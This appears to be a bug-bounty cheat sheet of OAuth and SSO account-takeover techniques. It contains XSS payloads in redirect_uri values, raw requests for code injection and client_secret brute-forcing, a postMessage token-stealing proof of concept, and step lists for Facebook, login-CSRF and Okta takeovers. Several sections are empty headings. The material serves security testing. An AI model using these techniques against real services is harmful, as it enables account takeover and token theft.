Try To Remove Your Email From Scope Parameter While Signing Up OR Signing In With Services Provider To Get Account Takeover
Use Access Token Of Your App Instead Of Auth Token Of Victim App
1 - Create Facebook App
2 - Generate Access Token
3 - Go To Victim App And Click On The Facebook Sign In
Button With Intercepting Traffic Using Burp Suite
4 - Change Value Of auth_token Parameter To
The Access Token
5 - Forward The Request And You Will Be Login Since
There Is No Validation Weather The Access Token
Generated For Victim App OR Other App
Try To Insert XSS Payloads As Value Of Redirect URL e.g. data:company.com;text/html;charset=UTF-8,%3Chtml%3E%3Cscript%3Edocument.write(document.domain);%3C%2Fscript%3E%3Ciframe/src= xxxxx%3Eaaaa%3C/iframe%3E%3C%2Fhtml%3E To GET DOM-Based XSS
GET /oauth/Connect?type=code&client_id=ID&state=Random
&redirect_uri=data:company.com;text/html;charset=UTF-8
,%3Chtml%3E%3Cscript%3Edocument.write(document.
domain);%3C%2Fscript%3E%3Ciframe/src=xxxxx%3Eaa
aa%3C/iframe%3E%3C%2Fhtml%3E&scope=read HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
-----------------------------
POST /oauth/Connect HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
client_id=ID&client_secret=SECRET&type=Authorization&
code=Auth_code&redirect_uri=javascript:fetch('XSS')
Path Traversal to open Redirect
Try To Insert Redirect URL Parameter To Redirect URL As Value To Steal The Authorization Code OR The Access Token
HTML Injection: https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
XSS: Reflecting redirect URL in response.
Steps:
Identify the redirect_uri parameter.
Construct an exploit URL to steal the authorization code.
Use the stolen code to complete the OAuth flow.
SSRF via OpenID Dynamic Client Registration
Browse /.well-known/openid-configuration to find the registration endpoint.
Create a POST request to register a client.
Test if the logo_uri parameter is vulnerable to SSRF.
Stealing OAuth Access Tokens via a Proxy Page
Register a client using a POST request.
Test logo_uri for SSRF to read metadata files.
OAuth Account without email Address
Register account with phone number in 3rd party
use this account to register on target
in settings add victim email
Microsoft nOAuth Misconfiguration
Facebook OAuth Misconfiguration
Click Sign in with Facbook
Click "Edit Access"
Uncheck Email address
You loged in without email address
OAuth Code Flaws
Reuse of authorization codes.
Brute-force attacks on codes.
Validity of a code across different applications.
Access Token Scope Abuse
Use an access token to access elevated scope endpoints.
Pre-Account Takeover
Register an account with the victim's email and attacker’s password.
Victim uses OAuth to register, linking their account to the attacker’s credentials.
ALL ATTACKS WITH PROMPT=NONE TO MINIMISE INTERACTION
Play With response_mode
The normal value to it is &response_mode=query
By Changing it's value to fragment the code is leaked in the url after # character
Exploit XSS in the Authorization Server to steal Victim's code
Make &response_mode=form_post and the response will be for that send's post request with code and state parameter
HTTP 200 OK
<form method="post"
action="https://target.com/cb">
<input name="code" value="A9bc5D2e"/>
</form>
Attacker can steal the code and state parameter using this code
POST-AUTH REDIRECT + LOGIN CSRF
There is endpoint vulnerable to open redirect using it to bypass redirect_uri Restrictions and using &response_mode=fragment to send code in url
The website is vulnerable to an open redirect. After a user logs in, we can exploit the state parameter to perform a CSRF attack, causing the user to log into our account after completing the OAuth process. However, to steal the user's session/code when they log into the attacker-owned account, we can use &response_mode=fragment. This will send the user's code to an attacker-controlled site in the URL after the # sign, along with the attacker's code in the query.
Disclosure of Secrets
Leaking client_secret allows attackers to generate access tokens and access user data.
Client Secret Brute Force
Brute force the client_secret to steal accounts.
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: target-server
content-length: 135
Connection: close
code=authorization_code&redirect_uri=callback_url&grant_type=authorization_code&client_id=client_id&client_secret=[bruteforce]
ATO via OAUTH Hijacking
Referrer Header Leaking Code + State
Verify if the code and state are reflected in the Referrer header when the user navigates to another page.
Access Token Stored in Browser History
Ensure access tokens are not stored in browser history.
Everlasting Authorization Code
Authorization code should have a short lifespan to limit the attack window.
Authorization/Refresh Token Not Bound to Client
Ensure tokens are bound to the specific client.
Refresh Token Issues
Race Conditions in OAuth 2 API Implementations
Verify for potential race conditions that can lead to security issues.
Summary
OAuth implementations can be vulnerable to various security issues. By understanding these vulnerabilities and following the steps outlined, you can effectively test and secure OAuth flows.
References
List Of Patterns To Bypass The Whitelist In Redirect URL Parameter
If The Authorization Code Is Used More Than Once Try To Reuse The Authorization Code With XSS Payloads e.g. Codealert('XSS')
POST /oauth/Callback HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
client_id=ID&client_secret=SECRET&type=Authorization&code=
Auth_Code<script>alert('XSS')</script>&redirect_uri=URL
Use The OAuth Token With Logged In User In OAuth Provider
*** If App Ask You Log In With OAuth Provider By Generating OAuth Token , Try To Use The OAuth Token With Logged In User In OAuth Provider
1 - I am logged in with app.com as Account One
2 - I open appservice.com
3 - I get https://api.app.com/oauth/?oauth_token=*****
4 - I did not move forward and shared this link with someone who
is logged in with app.com as Account Two
5 - Account Two grants the permission to the third Party App appservice.com
6 - Account One also grants the permission to the third Party App
appservice.com By Using The Same OAuth Token
7 - I Get Dashboard Of appservice.com of Account Two Not Account One
Exploit Post Messages
Try To Use Whitelist Subdomain With Endpoint Contains postMessage(Msg,"*"); In which Msg = window.location.href.split("#")[1]; To Steal The Access Token
1 - search About :-
var Msg = window.location.href.split("#")[1];
window.parent.postMessage(Msg,"*");
2 - There Isn't :-
X-Frame-Options Header
3 - Use This POC :-
var exploit_url = 'https://company.com/oauth?client_id=id&redirect_uri=
https://sub.company.com/postMsg.js';
var i = document.createElement('iframe');
document.body.appendChild(i);
window.addEventListener('oauth', function(Token) {alert(Token.data.name);
}, !1);
ATO Using OKTA SSO Misconfiguration
Suppose victim@gmail.com is a member of VictimOrganization on target.com.
The attacker creates AttackerOrganization on target.com and invites victim@gmail.com as a member
The attacker then sets up Okta and links it with their AttackerOrganization
In their Okta instance, the attacker creates a user account with the email victim@gmail.com
Using this fake(attacker) Okta account linked to victim@gmail.com, the attacker logs into target.com as victim@gmail.com
Since victim@gmail.com is also a member of VictimOrganization , the attacker is able to switch organizations within target.com, gaining unauthorized access to sensitive data and functionality.
